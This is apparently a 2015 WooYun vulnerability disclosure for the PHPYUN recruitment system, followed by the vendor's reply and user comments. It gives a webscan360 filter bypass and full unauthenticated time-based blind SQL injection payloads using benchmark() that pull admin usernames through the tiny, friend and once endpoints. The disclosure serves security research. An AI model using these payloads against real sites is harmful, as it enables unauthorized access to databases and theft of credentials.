PHPYUN最新版Webscan绕过注入四处(可遍历全站信息,无需登录)

漏洞概要

缺陷编号:WooYun-2015-0126835

漏洞标题:PHPYUN最新版Webscan绕过注入四处(可遍历全站信息,无需登录)

相关厂商:php云人才系统

漏洞作者:menmen519

提交时间:2015-07-16 15:10

公开时间:2015-10-14 15:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

Tags标签:

漏洞详情

披露状态:

2015-07-16: 细节已通知厂商并且等待厂商处理中
2015-07-16: 厂商已经确认,细节仅向厂商公开
2015-07-19: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2015-09-09: 细节向核心白帽子及相关领域专家公开
2015-09-19: 细节向普通白帽子公开
2015-09-29: 细节向实习白帽子公开
2015-10-14: 细节向公众公开

简要描述:

PHPYUN最新版Webscan绕过注入两处(可遍历全站信息,无需登录)

详细说明:

首先看问题文件:tiny/index.class.php:

跟踪UpdateTinyresume:

继续跟踪FormatValues

看到这里说明key没有进行过滤,同样的问题文件也有一处wap/tiny.class.php:

原理是一样的,我们就拿第一个分析一下:phpyun 有webscan360的防御,我们可以通过在url中添加参数使他时效,例如http://localhost/phpyun40/upload/tiny/index.php?admin_dir=admin然后phpyun也有自己的防御,但是这个可以绕过

并且其中的空格会被替换为下划线看看这个正则benchmark\s*?\\(\d+?这个等于没有防御,benchmark((1000000),md5(123)),1)轻松就绕过了有了这些条件,我们就可以轻松遍历整个数据库了发送url:http://localhost/phpyun40/upload/tiny/index.php?admin_dir=adminpostdata:username=test123&sex=7&exp=18&job=ccc&mobile=15802991419&qq=11111111&production%3Dif(ascii(substr((selectusernamefromphpyun_admin_user),1,1))%3D97,benchmark((1000000),md5(123)),1)%23=xxxxxxxxxx&password=111111&authcode=ag31&id=1&submit=%B7%A2%B2%BC这个我们就猜测出来admin表里面的username第一个字母为a

然后就可以全站遍历了3、friend/index.class.php:

跟进函数:SaveFriendInfo

跟进FormatValues:

key没有进行过滤:怎么绕过,前两个已经说过了,这里不多做赘述,这个直接不需要任何条件约束url:http://localhost/phpyun40/upload/index.php?admin_dir=admin&c=index&m=friend&a=saveinfopostdata:uid%3dif(ascii(substr((selectusernamefromphpyun_admin_user),1,1))%3d97,benchmark((1000000),md5(123)),1)%23=xxxxx&submitBtn=%B6%A9%D4%C4

4、once.class.php:

跟进去:UpdateOncejob:

再跟进FormatValues:

key没有进行过滤:有两个问题要解决,就是if($arr['id']){这个逻辑怎么成立阅读上下,只要当传递的id小于1的时候就会进行if($id<1){$_POST['password']=$password;$nid=$TinyM->AddOncejob($_POST);也就是说第一次id访问为空的时候,数据库就会插入一条id=1的或者id>1的记录url:http://localhost/phpyun40/upload/index.php?admin_dir=admin&c=once&m=wap&a=addpostdata:mans=123&password=123&id=&submit=%B6%A9%D4%C4

然后我们后续就可以复制id为1,就可以走到问题的那个函数:url:http://localhost/phpyun40/upload/index.php?admin_dir=admin&c=once&m=wap&a=addpostdata:mans=123&password=123&id=1&title%3dif(ascii(substr((selectusernamefromphpyun_admin_user`),1,1))%3d97,benchmark((1000000),md5(123)),1)%23=xxxxx&submit=%B6%A9%D4%C4

造成延时

漏洞证明:

修复方案:

漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-07-1615:38

厂商回复:

感谢提供,我们会尽快修复!

最新状态:

暂无

评价

  1. 2010-01-01 00:00 牛肉包子 白帽子 | Rank:190 漏洞数:17)

    给跪了

  2. 2010-01-01 00:00 pandas 白帽子 | Rank:504 漏洞数:39)

    支持下190斤的胖子

  3. 2010-01-01 00:00 answer 白帽子 | Rank:370 漏洞数:31)

    我才审。。。你这太快了

  4. 2010-01-01 00:00 狗狗侠 白帽子 | Rank:0 漏洞数:0)

    有条件限制,需再高版本mysql环境下利用

  5. 2010-01-01 00:00 menmen519 白帽子 | Rank:624 漏洞数:73)

    @pandas 你妹啊 哥才170好不

  6. 2010-01-01 00:00 menmen519 白帽子 | Rank:624 漏洞数:73)

    @狗狗侠 恩是的 只有mysql5.0.45 和 mysql4.x的不行 但是貌似4.x的很少有人用吧

  7. 2010-01-01 00:00 menmen519 白帽子 | Rank:624 漏洞数:73)

    @狗狗侠 看样子 你真进入大wooyun了 之前有人给我说你在审核漏洞,我还不信,这会信了 呵呵

  8. 2010-01-01 00:00 menmen519 白帽子 | Rank:624 漏洞数:73)

    顺便发个牢骚,这个漏洞是benchmark 注入,想必wooyun 这类注入大厂商很多吧,要不是四合一,我估计会被走小厂商,以后如果大家见到大厂商benchmark的注入,一律给小厂商,因为这个与mysql版本有关系